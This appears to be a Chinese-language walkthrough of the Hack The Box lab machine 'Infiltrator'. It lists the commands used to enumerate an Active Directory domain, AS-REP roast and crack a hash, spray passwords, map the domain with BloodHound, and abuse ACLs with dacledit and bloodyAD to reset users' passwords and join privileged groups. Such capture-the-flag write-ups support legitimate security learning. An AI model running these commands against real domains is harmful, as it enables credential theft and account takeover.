开放了挺多端口，并且存在域为dc01.infiltrator.htb，先看80端口信息

看了一会，发现没有什么特别的信息

有一个邮件交流入口，但是应该和以前的机器一样，利用不了，装样子罢

回到端口处，靶机还开放了139，445端口，可能存在SMB漏洞，详见以下链接

https://book.hacktricks.xyz/v/cn/network-services-pentesting/pentesting-smb

先用enum4linux探测是否存在信息泄露

enum4linux -a infiltrator.htb

都没有权限

回到网页，发现网站中有一些用户名，思考这些是否能够用来SMB爆破

在源码中发现一共有7个用户名

将其全部提取出来

使用这些用户名爆破SMB

./kerbrute userenum -d "infiltrator.htb" username.txt --dc "dc01.infiltrator.htb"

但是均失败

回到网页，看到此处的信息，猜测是否是因为用户名格式不对

根据外国名字缩写规则和邮箱格式，重新生成一段字典

再次进行破解尝试

能够爆破出存在的用户名，再使用GetNPUsers筛选出所有不需要”Kerberos预身份验证”的用户

impacket-GetNPUsers infiltrator.htb/ -usersfile newname.txt -outputfile outputusers.txt -dc-ip dc01.infiltrator.htb -no-pass

能够获取到l.clark用户的hash值，此hash值对应的模式为18200，使用hashcat爆破

使用获取到的用户密码再跑一次enum4linux，顺便来一次密码喷洒

还是获取不到啥信息

密码喷洒

crackmapexec smb [ip] -u tname.txt -p [passwd]

发现d.anderson用户的密码也是这个密码

使用bloodhound收集域内信息

bloodhound-python -c ALL -u l.clark -p '[password]' -d dc01.infiltrator.htb -ns [ip]
bloodhound-python -c ALL -u d.anderson -p '[password]' -d dc01.infiltrator.htb -ns [ip]

使用bloodhound分析

通过攻击链能够得到一条攻击路径为：D.ANDERSON->MARKETING DIGITAL->E.RODRIGUEZ->CHIEFS MARKETING->M.HARRIS->DC01

接下来需要一步步的操作

D.ANDERSON->MARKETING DIGITAL

在此攻击链路中，D.ANDERSON对MARKETING DIGITAL具有GenericAll权限，在前面我们知道，该用户不能够直接登录，账户权限受到控制，因此这一步旨在提升d.anderson用户的权限。先获取该用户的TGT，然后再使用该TGT以及GenericAll权限，赋予d.anderson对marketing digital的完全控制权

#获取d.andersonTGT
impacket-getTGT infiltrator.htb/d.anderson:'[password]' -dc-ip dc01.infiltrator.htb
#使用dacledit修改ACL使得d.anderson具有完全控制权
export KRB5CCNAME=d.anderson.ccache
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip [ip]
#没有dacledit的可以从https://github.com/ThePorgs/impacket.git下载并配置

MARKETING DIGITAL->E.RODRIGUEZ

因为e.rodriguez用户包含在marketing digital组中，而d.anderson对其具有完全控制权，可以直接修改其密码

注意，由于密码策略，此处需要执行完上一步后快速执行，不然会报错

#使用d.anderson的权限和bloodAD修改e.rodriguez密码
python3 /root/Dekstop/Tools/bloodyAD-main/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip [ip] -u "d.anderson" -p "[password]" set password "e.rodriguez" "[newpass]"

E.RODRIGUEZ->CHIEFS MARKETING

在上一步，我们已经修改了e.rodriguez的密码，在关系图中，可以看到接下去要将该用户添加到chiefs marketing组当中

#获取e.rodriguez的TGT
impacket-getTGT infiltrator.htb/"e.rodriguez":"[newpass]" -dc-ip dc01.infiltrator.htb
#利用addself权限添加
KRB5CCNAME=e.rodriguez.ccache
python3 /root/Desktop/Tools/bloodyAD-main/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --dc-ip [ip] -u e.rodriguez -k add groupMember "CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB" e.rodriguez

CHIEFS MARKETING->M.HARRIS

将e.rodriguez添加进chiefs marketing后，可以看到chiefs marketing组能够强制修改m.harris的密码，意味着我们也可以通过e.rodriguez身份强制修改m.harris的密码

#使用e.rodriguez身份，在chiefs marketing组中修改m.harris的密码
KRB5CCNAME=e.rodriguez.ccache
python3 /root/Desktop/Tools/bloodyAD-main/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip 10.129.204.10 -u "e.rodriguez" -p "B3rry11\!" set password "m.harris" "B3rry22"

此处证书认证已经出现了问题，应该是密钥过期了，需要重新快速的运行一遍，那么重新整理一遍思路

#获取d.andersonTGT
impacket-getTGT infiltrator.htb/d.anderson:'[password]' -dc-ip dc01.infiltrator.htb
#使用dacledit修改ACL使得d.anderson具有完全控制权
export KRB5CCNAME=d.anderson.ccache
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip [ip]
#使用d.anderson的权限和bloodAD修改e.rodriguez密码
python3 /root/Desktop/Tools/bloodyAD-main/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip [ip] -u "d.anderson" -p "[password]" set password "e.rodriguez" "[newpass]"
#获取e.rodriguez的TGT
impacket-getTGT infiltrator.htb/"e.rodriguez":"[newpass]" -dc-ip dc01.infiltrator.htb
#利用addself权限添加
KRB5CCNAME=e.rodriguez.ccache
python3 /root/Desktop/Tools/bloodyAD-main/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --dc-ip [ip] -u e.rodriguez -k add groupMember "CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB" e.rodriguez
#使用e.rodriguez身份，在chiefs marketing组中修改m.harris的密码
python3 /root/Desktop/Tools/bloodyAD-main/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip [ip] -u "e.rodriguez" -p "B3rry11\!" set password "m.harris" "B3rry22"

运行完成后，提示密码已经修改成功，尝试导出证书，使用evil-winrm登录

提示无法定位INFILTRATOR.HTB的KDC，这里需要修改本机的/etc/krb5.conf配置文件

[libdefaults]default_realm = INFILTRATOR.HTBdns_lookup_realm = falsedns_lookup_kdc = falseforwardable = true
[realms]INFILTRATOR.HTB = {kdc = dc01.infiltrator.htbadmin_server = dc01.infiltrator.htb}
[domain_realm].infiltrator.htb = INFILTRATOR.HTBinfiltrator.htb = INFILTRATOR.HTB
